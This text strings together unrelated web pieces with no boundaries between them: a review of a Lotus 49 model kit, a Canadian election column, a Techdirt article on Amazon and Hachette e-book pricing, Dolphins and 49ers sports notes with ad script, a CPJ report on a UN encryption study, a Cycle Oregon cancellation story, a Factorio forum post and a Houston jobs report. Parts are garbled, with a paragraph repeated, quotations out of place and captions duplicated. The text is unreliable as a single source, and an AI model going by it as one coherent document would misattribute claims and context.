1/20 Team Lotus Type 49 1967 by Ebbro (Available From HobbyLink Japan – HLJ.com) It’s an iconic combination of colour – British racing green and lemon yellow. Built by Colin Chapman and Maurice Philipe the Lotus 49 was the first real F1 car that included the engine as a stressed component of the race car. Initially it was considered a handful with the 408 horsepower output, after Colin Chapman negotiated with Ford they built the DFV engine specially for this race car. It would prove to be a good partnership as for many years later almost the entire grid of F1 was to be powered by this engine. Names such as Graham Hill, Jim Clark, Jack Brabham, Jo Siffert, Jochen Rindt have all driven the car which was to become one of the sport’s most recognised cars, and has also been considered ‘the most beautiful F1 car of all time’. The Kitset It comes moulded in black, green, chrome, grey, and clear yellow for wind shields. It was a tooling that was done under the Ebbro brand name, although Tamiya had a hand in the creation of this kitset which is quite possibly why the model fits together seamlessly and was a pleasure to build. The decals are thick, however with decal solution they conform to the body very nicely. They are bold in colour and do not allow the paint colour beneath to seep through. Options are included in the kit for US/UK/Mexican/Italian/Dutch Grand Prix races, and the drivers included are Graham Hill and Jim Clark. Cockpit & Monocoque The base detailing in this kit for the cockpit is good, and there is a lot of room left for addition of small details such as wiring. I added a small amount to the rear of the instrument cluster just to bump things up. The main monocoque consists of 5 pieces and despite having 5 pieces coming together to create one, the seam lines are almost unrecognisable once glued together. Suspension & Engine The suspension on the Lotus is one of beauty, lots of chrome (reflected in the kitset) and a traditional simplistic structure. Included in the kit is two options for braking, a set of normal disc brakes, and a set of vented disc brakes. This kit I decided to run the vented versions. Right out of the box, I had concerns about the car sitting flat on all four wheels, a quick dry fit of parts son revealed that this was not to be an issue. The engine is assembled slightly different to the Tamiya branded models, although once the block is together, as I mentioned before, it is difficult to see how many parts make up the component and on this model it’s more important than ever as there is no engine cowling. The exhausts that are usually a 6-piece nightmare in Tamiya kits are only a 2-piece configuration and look superb. I painted the exhausts with primer for that matte white finish. My only little issue with the engine was that to plumb the wiring from the distributor requires you to purchase 0.4mm plug cord. I didn’t have any in black so exercised my creative license and used blue. Wheels & Tyres My favourite thing about this kitset is the wheels supplied. They come pre-painted with the ‘Firestone’ markings and the gold pin-striping which looks superb. Adding to this is the tyres have no middle moulding lines. So no sanding required at all. Just paint the rims and you have a fantastic looking set of wheels to finish the model off. Decals All in all, they are very very good. As I mentioned earlier they are a little thick but if you use plenty of decal solution and allow time for them to soften up it’s not a problem. Patience is the key here. I had huge reservations about the yellow decal conforming around the tip of the nosecone. I decided to give it a go, and in the worst case where it didn’t work I would paint it. After 45 minutes of smoothing and rubbing the decal it conformed nicely saving me from the need to mask and match paint colours. Phew! The finished product My overall impression with this kit has me ranking it as a solid 9 out of 10. Perfect fitment, great tooling and everything is accurate and proportionate. It’s wonderful having a model that allows so much variation within the options. There were 3 different types of windscreen, 2 gearbox options, 2 brake options, decal options, and engine options as well. As well as being a great build, this kit looks superb sitting on the shelf. Until now most builders only option was the big 1/12 scale Tamiya kitset although now with the 1/20 option it goes perfectly with the 1970’s machines on the shelf. If you are tempted to pick this one up all I can say is do it! You certainly won’t be disappointed.

The great comedian Milton Berle had a powerful put-down for the many acts that auditioned for his show but failed to make the grade. “High school,” he’d call them. And I can’t think of a better term to describe the Conservative campaign brain trust at the midpoint of this long election season. Just lately, for example, the campaign seems to be having a tiny problem with geography. Last Friday, a Harper tweet provided a lovely snapshot of Little Crater Lake in the state of Oregon to illustrate its commitment to the Canadian great outdoors. Earlier in the week, a campaign spot talked about shipbuilding in Halifax, N.S. … against a backdrop of Johnstown, Ont. A group of Colombian miners sat in for a party ad promoting a mineral exploration tax credit. And then there was the Tory ad which misidentified a B.C. salmon as its Atlantic cousin — the online trolls are still chuckling over that one. Well, these things happen. So do things like a sudden drop in the polls to third place. If that’s not a wakeup call, I don’t know what qualifies. It all made me think of an incident in the 2000 campaign, when Canadian Alliance Leader Stockwell Day lamented that Canadian talent and brains were heading south to the U.S., “just like the Niagara River.” The message was sound, the words were not; the Niagara actually flows northward. Day took a lot of ungentle ribbing for that error — but his mistakes fade in comparison to the fiasco in the Big Blue Bus these days. There’s one common thread that links Day’s experience in 2000 to what Harper is going through right now: a profound sense of confusion on the ground. But that’s where the similarities end. I worked on the Day campaign as legislative assistant to a front-bench MP. For the Alliance, the 2000 election was an unwelcome surprise from PM Jean Chretien, who always knew how to catch his opponents off guard. The CA had just been through a highly divisive leadership campaign and the party was low on funds. There was little corporate support for the party and many influential backers were waiting to see whether the Alliance could really replace the Progressive Conservatives as a centre-right alternative to the Liberals. Day fought that campaign on a shoestring, with family members playing key roles in the process. The Conservative party is having more and more difficulty recruiting volunteers at the riding level. Even campaign stalwarts who show up for every election are finding reasons to stay home this time. Who’s surprised? The Conservative party is having more and more difficulty recruiting volunteers at the riding level. Even campaign stalwarts who show up for every election are finding reasons to stay home this time. Who’s surprised? Contrast that situation with that of the Conservative Party in the late summer of 2015. They have been in government for almost a decade, with all the electoral advantages that power brings — including the ability to self-promote in publicly-funded PR campaigns, and to set the actual election date. The Conservatives established the current political contributions policy that has moved away parties away from corporate and union donations towards the small individual donors that Conservatives excel at reaching. They have money in the bank and, by now, they should have the slickest, most professional, most nimble campaign team anywhere. And still the campaign stumbles from error to error, week to week. To say the fact-checking in Conservative election ads has been less than careful is like saying Hillary Clinton has been less than transparent about her old e-mails. A party with a huge war chest and a winning record shouldn’t be coming off as a fringe party. But that’s what is happening. Why? There are several reasons. The people who spent their time in the PMO terrorizing MPs and reassuring Harper about his job performance are running the show now; the grown-ups have left the room. Sycophancy might be an excellent way to bootstrap yourself into a career in government, but it’s a terrible way to run an election campaign. The Conservative party is having more and more difficulty recruiting volunteers at the riding level. Even campaign stalwarts who show up for every election are finding reasons to stay home this time. Who’s surprised? Make the campaign about the leader and nothing else — not the local candidates, not what the party is supposed to represent — and you can expect to see enthusiasm at the grassroots start to wane. This is still a close campaign and it’s anybody’s to win. But if the Conservative campaign continues to be tripped up by these amateur-hour antics, it might as well close up shop now. It’s time for an agonizing reappraisal of how this campaign is being run. It’s time to bring some maturity, experience and expertise to the effort. Most of all, it’s time for the Conservative party to remind its erstwhile supporters of why it exists — to be something other than a weak facsimile of, or slightly better alternative to, the other parties. Give the faithful something to fight for. Telling them that “Stephen Harper isn’t perfect” simply isn’t good enough. Back in 2000, I remember asking a journalist friend of mine who was covering the campaign whether he knew that the Niagara river flowed north, and why Day should be pilloried for making the mistake. “No, I didn’t know,” he said. “But I would expect a guy who wants to be prime minister to make sure he knows before he opens his mouth.” Good point. I’d only add this: a guy who wants to be re-elected as prime minister shouldn’t be letting his campaign staffers open their mouths every week when they can’t get it right. David Krayden was raised on Vancouver Island and has written extensively on Western political issues over the years. He was a columnist for the Calgary Herald and host of Calgary’s Liberty Today radio program; more recently he worked as an editor for Sun News. Krayden was a public affairs officer in the Royal Canadian Air Force and spent almost a decade on Parliament Hill as a communications staffer. The views, opinions and positions expressed by all iPolitics columnists and contributors are the author’s alone. They do not inherently or expressly reflect the views, opinions and/or positions of iPolitics.

Amazon To Hachette And Authors: Here, Let Us Explain Basic Price Elasticity To You from the lower-price,-make-more-money-dimwits dept A key objective is lower e-book prices. Many e-books are being released at $14.99 and even $19.99. That is unjustifiably high for an e-book. With an e-book, there's no printing, no over-printing, no need to forecast, no returns, no lost sales due to out-of-stock, no warehousing costs, no transportation costs, and there is no secondary market -- e-books cannot be resold as used books. E-books can be and should be less expensive. It's also important to understand that e-books are highly price-elastic. This means that when the price goes up, customers buy much less. We've quantified the price elasticity of e-books from repeated measurements across many titles. For every copy an e-book would sell at $14.99, it would sell 1.74 copies if priced at $9.99. So, for example, if customers would buy 100,000 copies of a particular e-book at $14.99, then customers would buy 174,000 copies of that same e-book at $9.99. Total revenue at $14.99 would be $1,499,000. Total revenue at $9.99 is $1,738,000. The important thing to note here is that at the lower price, total revenue increases 16%. This is good for all the parties involved: The customer is paying 33% less. The author is getting a royalty check 16% larger and being read by an audience that's 74% larger. And that 74% increase in copies sold makes it much more likely that the title will make it onto the national bestseller lists. (Any author who's trying to get on one of the national bestseller lists should insist to their publisher that their e-book be priced at $9.99 or lower.) Likewise, the higher total revenue generated at $9.99 is also good for the publisher and the retailer. At $9.99, even though the customer is paying less, the total pie is bigger and there is more to share amongst the parties. Keep in mind that books don't just compete against books. Books compete against mobile games, television, movies, Facebook, blogs, free news sites and more. If we want a healthy reading culture, we have to work hard to be sure books actually are competitive against these other media types, and a big part of that is working hard to make books less expensive. So, at $9.99, the total pie is bigger - how does Amazon propose to share that revenue pie? We believe 35% should go to the author, 35% to the publisher and 30% to Amazon. Is 30% reasonable? Yes. In fact, the 30% share of total revenue is what Hachette forced us to take in 2010 when they illegally colluded with their competitors to raise e-book prices. We had no problem with the 30% -- we did have a big problem with the price increases. One more note on our proposal for how the total revenue should be shared. While we believe 35% should go to the author and 35% to Hachette, the way this would actually work is that we would send 70% of the total revenue to Hachette, and they would decide how much to share with the author. We believe Hachette is sharing too small a portion with the author today, but ultimately that is not our call. Apparently Amazon's efforts earlier this month to make it abundantly clear that it's fight with Hachette is aboutauthors still didn't quite make it through to authors who seem to reflexively hate Amazon (often for reasons that don't make much sense). So now Amazon has tried to be even more explicit, by taking the time to explain what price elasticity means , and how Amazon's plan would actually make authors more money. They lay it out pretty clearly, especially for those authors who maybe didn't do so well in economics classes:Amazon then goes one step further, driving a real wedge between Hachette and authors with the following paragraph:Are there legitimate concerns that some may have about Amazon's position in the marketplace? Absolutely. But it's fight with Hachette does not seem to be about that, but rather about setting up a deal that actually does make everyone better off. It appears that Hachette has been fighting that, in this ridiculous belief that ebooks have to be priced higher -- and that it should get to keep more and more of the money. Filed Under: authors, books, ebooks, economics, price elasticity Companies: amazon, hachette

FRIDAY BUZZ COLUMN A six-pack of Dolphins notes: • With Miami not likely to land free agent Josh Norman, cornerback remains a high priority, though we hear a few other players also intrigue the Dolphins with their first-round pick if they fall to their range at No. 13. If the Dolphins rate a non-cornerback as the best player on their board when they're picking at No. 13, there's a belief they could still land a quality corner at 42 and/or 73, a prospect such as UM’s Artie Burns (if there at 42) or Baylor’s Xavien Howard or Virginia Tech's Kendall Fuller or Samford's James Bradberry, among others. Drafting two corners is very much a possibility. Ohio State running back Ezekiel Elliott’s visit here Tuesday went very well, he would welcome the Dolphins drafting him if he slips to 13, and Miami has strong interest, according to someone involved. He already has a lease on an apartment in Miami, though that has nothing to do with any possibility of him landing with the Dolphins. Meanwhile, the Dolphins recently sent a contingent to Los Angeles to conduct a private workout with UCLA’s Myles Jack, the draft’s best linebacker. There’s Dolphins interest if he surprisingly slips out of the top 10. • What about UF’s 5-10 Vernon Hargreaves, who could be the best corner available at 13? Though he cannot be ruled out if he’s the best player available, I do know this: There is some resistance to Hargreaves among some Dolphins scouting/front office people who believe he’s undersized and see him more as a nickel back. Miami’s preference is a big, physical boundary corner. The Dolphins prefer bigger corners in general and are intrigued by Houston’s William Jackson and Ohio State’s Eli Apple, two 6-1 corners who visited. Jackson at No. 13 is certainly a possibility, but analysts disagree about whether Jackson is good value at 13. (Mel Kiper says he’s not.) Most pundits have Apple in the 20s or lower. One Dolphins official said trading down from 13 for a corner would be a consideration, if there's not a player at 13 that Miami covets in that range and if it believes one of the tall corners would be available later in the first round. • Besides Jack, Elliott and the corners, the Dolphins have closely studied a handful of first-round front-seven defenders, including Clemson defensive ends Kevin Dodd (visited, but 13 is higher than projected) and Shaq Lawson and linebackers Leonard Floyd (Georgia), Reggie Ragland (Alabama) and Darron Lee (the Ohio State product is Kiper’s choice for the Dolphins, but at 6-1, 232 pounds isn’t their ideal size preference). Ragland told Sirius XM tonight that he made seven visits in the past two weeks, and the Dolphins, Bears and Saints have shown the most interest in him. And we've also been told the Dolphins like Ragland. • As one of several fallback options, the Dolphins have discussed taking one of the top offensive tackles if one slips and moving him to guard, though 13 is high for a guard. Kiper said he would take Texas A&M guard/tackle Germain Ifedi (who visited Miami) in the first round. But 13 would seem too high. • The Dolphins, looking for a skilled returner who could lessen Jarvis Landry’s workload on special teams, have been in touch with several. They summoned Texas Tech’s 5-6 Jakeem Grant to Davie this week; he had four kickoff returns for touchdowns in his career and a 26.2 average last season. At UCLA, they auditioned Devin Fuller (24.2 kickoff average last season), among others. They’re open to finding competition for kicker Andrew Franks and dispatched special teams coach Darren Rizzi or other staffers to privately audition several, including Texas’ Nick Rose and Albright’s Daniel Sobolewski. • One team official said the past coaching staff didn’t use tight end Jordan Cameron to his strengths and expects that to change… Dolphins conversations remain ongoing with free agent defensive end Jason Jones, with both sides interested. CHATTER • The latest Hassan Whiteside historic feat: In shooting 8 for 8 in Game 2, he became just the second active NBA player to make all his shots (minimum eight) in a playoff game, according to Elias. The other: Oklahoma City’s Serge Ibaka, who was 11 for 11 in a 2012 postseason game…. What’s more, Whiteside is second this postseason (behind Steph Curry) in ESPN’s complex NBA efficiency ratings, after finishing eighth during the season. • This is the first Heat team ever to score at least 115 points in two consecutive playoff games. For perspective, do you know how many times the Heat did this in non-overtime situations in four regular seasons with LeBron James? Just once: in November 2012, with 119 against Denver and 124 against Phoenix. During the LeBron years, the Heat also reached 115 in two games in a row on two other occasions, with one of them going to OT and another going to triple overtime. • What Dwyane Wade continues to do around the rim, at 34, and his ease in getting there is quite impressive. He’s 8 for 9 on shots within five feet in this series, best among NBA guards, including one of them created Wednesday by an amazing stutter-step move on Jeremy Lin. “I felt good to be able to do [that],” Wade said, his body helped by work with new trainer Dave Alexander over the past year. Wade had 261 of those baskets (within five feet) this season, behind only Andrew Wiggins and James Harden among shooting guards and he made 62.7 percent of those shots within five feet (top five). And there's this: Of the 100 NBA players who dunked at least 30 times this season, Wade was the only one who didn’t miss any (36 for 36). “He’s like a big man that plays guard; it’s amazing,” Whiteside said. “Probably the best guard I’ve ever seen around the basket. I joke with him all the time and tell him, 'I think you were supposed to be a seven-footer.' Just the way he maneuvers in the paint. He’s got left and right hand jump hooks.” • Wade and Courtney Lee were talkative with each other in Game 2, but Wade assures: “Just having a little fun with the game. I like that guy. I respect him. “The guy's been in the Finals before. Very tough defender. Nothing wrong with a little talking back and forth. No disrespect either way.” • For an in-depth look at the Heat’s amazing offensive evolution, please click here. • The Hornets ruled Nic Batum (ankle) as out for Game 3 and said his status will be re-evaluated after that. • Don’t underestimate the impact that Panthers general manager Dale Tallon’s trades are making. He clearly got the better of last summer’s Boston deal, with Jimmy Hayes finishing with 29 points for the Bruins and Reilly Smith producing 50 points for Florida (25 goals) and now tied for the NHL lead in postseason points (eight). Tallon gave up future second- and fourth-rounders for Jiri Hudler (12 points in 23 games here) and a third-rounder for Teddy Purcell (13 in 19 games). “They've been huge for us,” coach Gerard Gallant said Thursday. “They're veteran players, very skilled and they add a lot of depth and experience to our lineup, especially this time of the season. “Reilly has been outstanding. I'm pleasant surprised, but it's not a shock he has 25 goals. He’s playing with good players.” • Some historical perspective on Game 5 of Panthers-Islanders: The team that wins Game 5 of a 2-2 series has won 78.4 percent of NHL playoff series. • UM coach Mark Richt has no patience for any off-field problems and warned his players last week not to "hang around with fools."... Defensive back Jonathan Abram, who left Georgia after Richt left and transferred to a junior college, told Canesport.com that he's considering joining Richt at UM. Abram started four games for Richt last season and can play safety and corner, though some consider him better suited for safety. He said UM "is up on my radar" along with Alabama, LSU, Mississippi State and Ole Miss. Abram would be required to sit out next season, per NCAA rules. Twitter: @flasportsbuzz

On Wednesday, Special Rapporteur on freedom of opinion and expression David Kaye will present his report on international legal protection for encryption and anonymity to the United Nations Human Rights Council. The report is an important contribution to the security conversation at a time when some Western leaders are calling for ill-informed and impossible loopholes in technology--a trend that facilitates surveillance and tends to enable states that openly seek to repress journalists. Ethiopia, which aggressively prosecuted a group known as the "Zone 9" bloggers for participating in email encryption training, is one such state. Authorities there jail more journalists than any other country in Africa, other than Eritrea, and it is the fourth most censored country in the world, according to CPJ research. The Ethiopian government is suspected of conducting widespread surveillance inside the county and of hacking the computers of journalists living overseas. "In a country like Ethiopia where journalists are consistently watched, [we] need to protect their communications and their data to do reports on sensitive issues," Endalkachew H/Michael, one of the co-founders of Zone 9, told CPJ by email. "If a journalist cannot protect her communication with her sources, she cannot practice journalism." Michael, who left Ethiopia to study for his doctorate in media studies at the University of Oregon, added: "I believe encryption is a lifeblood for freedom of expression." In his report, Kaye urged states to promote strong encryption and anonymity through legislation and regulation. The report recommended eschewing restrictions on encryption and anonymity "which facilitate and often enable the rights to freedom of opinion and expression." Kaye said measures by states that weaken security online posed a "serious threat" to freedom of expression, and suggested that some common state practices and proposals were in violation of international law. The report described blanket measures such as encryption backdoors, weak encryption standards, and the holding of encryption keys in escrow as deeply problematic, and concluded that "measures that impose generally applicable restrictions on massive numbers of persons, without a case-by-case assessment," are almost certainly illegal. In order to satisfy international proportionality principles, the report said, forced decryption by governments must be made on a case-by-case basis, constrained by law, and subject to judicial warrant. The report went further, acknowledging that state regulation of encryption can be "tantamount to a ban[.]" It condemned the regulatory practices of countries including Pakistan, Cuba, and Ethiopia, noting that they interfered with the right of individuals to encrypt communication. The report supported anonymous and pseudonymous speech, and denounced rules that require users to identify themselves as a precondition to communication. Finally, it urged privately owned companies to refrain from blocking or limiting encrypted communication and to permit anonymous communication. Why encryption by default is necessary Kaye's recommendations get to the core of why encryption by default is so necessary. He has brushed aside technically impossible rhetoric and dismissed false legal narratives that serve to reinforce the power of states to censor, surveil and harass journalists. Under international law, state action that restricts freedom of expression must meet an exacting legal test. First, any limitations must be provided for by law. Second, they must be imposed on legitimate grounds. Third, they must be necessary and proportionate. As enablers of the right to freedom of expression, any restrictions on encryption or anonymity must conform to the same standards, Kaye argues in his report. And that means restrictions on encryption or anonymity are especially likely to fail the third prong because "blanket prohibitions fail to be necessary and proportionate." Like the right to freedom of expression, encryption and anonymity also enable individuals to form and hold opinions. Unlike freedom of expression the right to hold opinions is absolute--a key distinction Kaye identified as an independent but related basis for protecting privacy-enhancing tools. Kaye told CPJ that technology was generating new threats to which existing legal principles must apply, adding, "How can a person develop opinions about the world without access to receive information, especially online?" An attorney, Kaye is realistic about the limits of law for regulating government behavior. As he notes in his report, many states have explicit protection for journalist-source communication. Nonetheless, "States often breach source anonymity in practice, even where it is provided for in law." His report emphasized the need for journalists and others to have the freedom to protect themselves, an astute argument given the borderless nature of the Internet. For Ali Nikouei, an Iranian blogger who said he was forced to flee, the need for protection is a stark reality. "A journalist [or] an activist who wants to, for example, organize a protest, who wants to have a connection with a news agency outside of Iran ... they have problems," Nikouei told CPJ at the Circumvention Tech Festival in Valencia, Spain, in March. Nikouei, who said he was arrested and held for three months in Iran in 2009, added: "The government is listening to their conversations. The government does everything it can." Kaye's report gives further momentum to CPJ's vital work. We are engaged with the U.N., the American government, companies, and newsrooms to help make encryption by default a reality in 2015-- a shift that would protect journalists, sources, readers, and other end-users automatically. CPJ converted its site to HTTPs-only earlier this year, which helped us successfully advocate for security improvements at institutions such as Knight Media Lab at Northwestern University and investigative journalism nonprofit ProPublica. Additionally, CPJ will host a technology summit in San Francisco this week to press for the uniform adoption of security best practices in newsrooms. The momentum for enhanced security is building. The Let's Encrypt project aims to provide free, automated, and open HTTPS certificates to the public within several months. On June 12, Wikipedia announced that its site would convert to HTTPS by default, a process in which the international blogging network Global Voices is also engaged, and which The New York Times is exploring. And, at the same time that it was pressuring Apple and other tech companies to build backdoors into their devices, the U.S. government announced on June 8 that it would move to HTTPS-only for all publicly accessible federal websites and Web services. To Kaye, the link between press freedom and technology is clear. "[G]overnments are using a variety of technologies and approaches either for mass surveillance or for targeted attacks on and surveillance of activists, journalists, civil society organizations, and others, and some [governments] use technology to block access to information," Kaye told CPJ by email. "Individuals use tools like encryption and anonymizing platforms to protect themselves and their privacy or legitimately gain access to information." He added: "Those tools need to be protected to allow exercise of fundamental rights to opinion and expression. Restricting these tools restricts exercise of the rights." Kaye's report drew on submissions from states and civil society organizations -- including a joint letter submitted by CPJ and the Reporters Committee for Freedom of the Press, which can be read here.

window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-5', placement: 'Interstitial Gallery Thumbnails 5', target_type: 'mix' }); window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-10', placement: 'Interstitial Gallery Thumbnails 10', target_type: 'mix' }); window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-12', placement: 'Interstitial Gallery Thumbnails 12', target_type: 'mix' }); Photo: Chris O\'Meara / AP Image 1 of / 13 Caption Close Image 2 of 13 9. G Joe Looney One of the last members from the supposedly failed 2011 draft, Looney is the surprise replacement to take Alex Boone’s spot in case of a extended holdout. He graded out well last year after playing extensively against the St. Louis Rams. less 9. G Joe Looney One of the last members from the supposedly failed 2011 draft, Looney is the surprise replacement to take Alex Boone’s spot in case of a extended holdout. He graded out well ... more Photo: Lance Iversen / The Chronicle Image 3 of 13 8. DE-FB Will Tukuafu Two summers ago, Tukuafu exhibited a devastating flair as a blocker at fullback. If Tukuafu can take the next step, the team’s short-yardage issue could be over. less 8. DE-FB Will Tukuafu Two summers ago, Tukuafu exhibited a devastating flair as a blocker at fullback. If Tukuafu can take the next step, the team’s short-yardage issue could be ... more Photo: Michael Macor / The Chronicle Image 4 of 13 7. QB Kory Faulkner The small-school quarterback has learned to stand in the pocket take a hit while delivering the ball, a trait not every quarterback possesses. He has size and can run. But he’s also the fourth quarterback out of four on most depth charts. less 7. QB Kory Faulkner The small-school quarterback has learned to stand in the pocket take a hit while delivering the ball, a trait not every quarterback possesses. He has size and can run. But ... more Photo: Marcio Jose Sanchez / Associated Press Image 5 of 13 Image 6 of 13 5. DE Kaleb Ramsey The 49ers’ final draft pick this spring is immensely strong; he refused to give up despite numerous injuries in college. That combination could win him a roster spot on a stacked defensive line. less 5. DE Kaleb Ramsey The 49ers’ final draft pick this spring is immensely strong; he refused to give up despite numerous injuries in college. That combination could win him a roster spot on a ... more Photo: Brant Ward / The Chronicle Image 7 of 13 6. DL Lawrence Okoye He could be the most unique special teams cover player in the league. Even at 304 pounds, the man has blazing speed. But the former British Olympian has to prove he can give the 49ers something as a defensive lineman, a role he is still learning. less 6. DL Lawrence Okoye He could be the most unique special teams cover player in the league. Even at 304 pounds, the man has blazing speed. But the former British Olympian has to prove he can give ... more Photo: Dave Shopland / Associated Press Image 8 of 13 4. NT Ian Williams Williams beat out Glenn Dorsey to become the starting nose tackle last preseason, but had his lower leg shattered in the first quarter of the opener. Three surgeries later, Williams will fight for playing time again with Dorsey, who is coming off a terrific year. less 4. NT Ian Williams Williams beat out Glenn Dorsey to become the starting nose tackle last preseason, but had his lower leg shattered in the first quarter of the opener. Three surgeries later, ... more Photo: Joe Mahoney / Associated Press Image 9 of 13 3. RB Marcus Lattimore The Frank Gore clone looked stiff during the first part of the off-season program, but then looked much better toward the end of mini-camp. He could be ready to resume his career after a devastating knee dislocation in college. less 3. RB Marcus Lattimore The Frank Gore clone looked stiff during the first part of the off-season program, but then looked much better toward the end of mini-camp. He could be ready to resume his ... more Photo: Jeff Chiu / Associated Press Image 10 of 13 Image 11 of 13 2. DT Tank Carradine Defensive end Justin Smith has undergone medical procedures the last two seasons, and Carradine may be the heir apparent to the 49ers’ defensive line leader. He has the dedication and the physical ability and, after spending last year recovering from a knee injury, he will get his opportunity. less 2. DT Tank Carradine Defensive end Justin Smith has undergone medical procedures the last two seasons, and Carradine may be the heir apparent to the 49ers’ defensive line leader. He has the ... more Photo: Jeff Chiu / Associated Press Image 12 of 13 1. TE Derek Carrier With Vernon Davis fighting for a new contract, Carrier is the guy on the roster who most closely replicates what Davis does. Carrier is athletic, fast, runs routes like the receiver he used to be and is making rapid strides with his blocking. less 1. TE Derek Carrier With Vernon Davis fighting for a new contract, Carrier is the guy on the roster who most closely replicates what Davis does. Carrier is athletic, fast, runs routes like the ... more Photo: Michael Zagaris / Getty Images Image 13 of 13 Top 10 sleeper players going into 49ers' training camp 1 / 13 Back to Gallery In a few weeks, the 49ers will open up training camp. You’re already watching for Kaepernick, Gore, Willis and the rest, but here are 10 under-the-radar names that could be contenders for playing time when the season kicks off. The 49ers’ training camp schedule is as follows: July 16 — Rookies July 18 — Quarterbacks and injured veterans July 23 — Everyone reports July 24 — First practice (no pads) July 25 — Second practice (no pads) July 26 — First pads practice

Cycle Oregon was canceled Thursday because of wildfires in central and southern Oregon, where the weeklong ride had been scheduled to be held. The fires pose too big of a safety threat for the 2,000 riders and hundreds of support staff, Cycle Oregon executive director Steve Schulz said in a statement issued Thursday afternoon. The ride had been scheduled to start Sunday, Sept. 10, in La Pine and end back in the Deschutes County community on Saturday, Sept. 16. What would have been the 30th anniversary ride marks the first time the event has been canceled. "Fires are impacting five of our seven days with smoke and air quality levels ranging from unhealthy to hazardous," Schulz said in the statement. "Previously designed alternate routes are now affected with fire and smoke from both new and existing fires." The statement noted that statewide "forecasts for the foreseeable future are for more hot, dry and windy weather with an associated increase in fire activity and smoke production." Schulz said ride officials made the decision after consulting with the Oregon Department of Forestry, the U.S. Forest Service, the Bureau of Land Management, the Oregon Department of Transportation "and others, and conducting on site personal meetings with Incident Commanders at the fires." Schulz noted the "situation is unprecedented in Cycle Oregon history; we are in uncharted territory." He said the organization would communicate with riders by Wednesday about next steps including, presumably, a refund process. In an interview with The Oregonian/OregonLive, Schulz said the decision to cancel was made Thursday morning after a meeting with the nonprofit's staff and its board members. At the meeting, Schulz described his visits with firefighting operations leaders as well as the Oregon Department of Transportation. Firefighting managers made clear to him that "if we went down there we're just getting in the way," Schulz said, and that "they would prefer that we not be there." Before reaching the decision to cancel, the staff and board explored creating a seven-day supported ride in parts of the state not experiencing wildfire and where the organization has experience staging a ride. While Cycle Oregon has earned a reputation for effectively dealing with logistics, creating a seven-day ride a week in advance was deemed impossible. On top of that, there was the unpredictability of a lightning-caused fire erupting at any new location. In 2015, wildfire forced the rerouting of Cycle Oregon in northeast Oregon -- one of the geographical areas considered at the board meeting for a makeshift ride. Schulz said the nonprofit would follow through on financial commitments made to the host communities along the ride as well as vendors. It's unclear, however, how much of a refund riders can expect. A decision on that is expected by Wednesday. The ride costs riders $999. The route would have traveled from La Pine south to Diamond Lake followed by a day offering an optional ride up to Crater Lake National Park then around the rim. From there, it was north to Dorena Lake, then Oakridge, Rainbow, Tumalo and back to La Pine. Recent years have featured circular routes with the same start and finish point. In presenting the route at the outset of the year, Schulz noted the spectacular scenery to accompany an event celebrating three decades. As it turned out, Oregon is experiencing one of its worst wildfire years in recent memory, and Cycle Oregon 2017 would have unwittingly offered a close-up view. Riders grieved over the decision, but many said they understood the reasoning. Ashley Horacek of Portland has ridden in seven of the rides. "Sad, disappointed, upset," she said. "But understandable. What else could they do?" Lane Cooper of Portland, who grew up in central Oregon and has ridden four of the events, said, "I'm shocked and thoroughly disappointed. I've been looking forward to the route ever since it was announced. ... It's hard to get my head around to think that there is enough fire and smoke across Oregon to shut down Cycle Oregon." Nichole Lunsford of Portland, who rode in her first Cycle Oregon in 2016, said, "I feel awful for the organizers and for those who planned on going. It must have been an agonizing decision." Bill Kemnitzer of Clackamas County has ridden in a dozen Cycle Oregons. For 10 of those, he's organized a group camp within the ride of about 30 friends and acquaintances. He's disappointed, "but I am not surprised at Cycle Oregon's decision," Kemnitzer said. "I trust Cycle Oregon's judgment and I am confident their decision is in the best interest of the riders and volunteers." But Kemnitzer is not giving up on the idea of cycling in Oregon in September. "I am going to send out a general e-mail to our group tonight," he said. "I may try to put a mini Cycle Oregon together for a few days." --Allan Brettman 503-294-5900 @allanbrettman

Post by NotABiter » Mon Mar 02, 2015 6:17 am DaveMcW wrote: This mod has strict error checking, so bad strings will not crash your game or mess it up. But good strings can bring down your whole computer.Just posting here to let you know I filed this bug: import "large" blueprints -> computer locks up In short, something is up with the memory usage. If I import a blueprint with 1,024 items, I see ~38KB of memory used per item (which seems kind of high to me -- 38 bytes would seem more than enough, but whatever - "modern" software is what it is). When I import a blueprint with 2,048 items the per item use goes through the roof (running my machine out of memory when it gets to somewhere around 1MB per item). The massively higher per item memory usage makes it seem that something is broken somewhere, but I have no idea whether the issue is in the blueprint string mod or in Factorio itself.

Houston sheds 9,200 jobs after schools cuts Houston sheds 9,200 jobs as schools cut back Job losses in public education overwhelmed any local private sector job growth during July, according to new data released today by the Texas Workforce Commission. The Houston area lost a net 9,200 jobs last month. Despite gains in health care, manufacturing and energy exploration and production, the creation of 5,100 private sector jobs couldn't make up for the loss of 14,300 government positions. Job losses included 14,900 in local education and 700 in state education. At the same time, the local unemployment rate dipped slightly to 8.9 percent in July. The Houston area jobless rate, which is not adjusted for seasonal variations, was 9 percent in June. In Texas, however, the unemployment rate increased to 8.4 percent in July. The statewide rate, which is adjusted for typical seasonal influences such as major holidays, school schedules and planting and harvesting seasons, was 8.2 percent in June. Despite the increase in the statewide rate, July was the 10th consecutive month Texas added jobs, according to the commission, referring to a survey of employers that tracks job creation and job loss. The Texas Tribune is reporting today: Commission chairman Tom Pauken noted that only two major industries — construction and government - reported statewide job losses last month. But the increase in the unemployment rate indicates that Texas continues to feel the effects of a stagnant national economy, according to Pauken, who represents employers on the three-member commission. The Midland area reported the lowest unemployment rate in Texas at 5.1 percent last month. The highest was McAllen-Edinburg-Mission at 13.2 percent. lm.sixel@chron.com

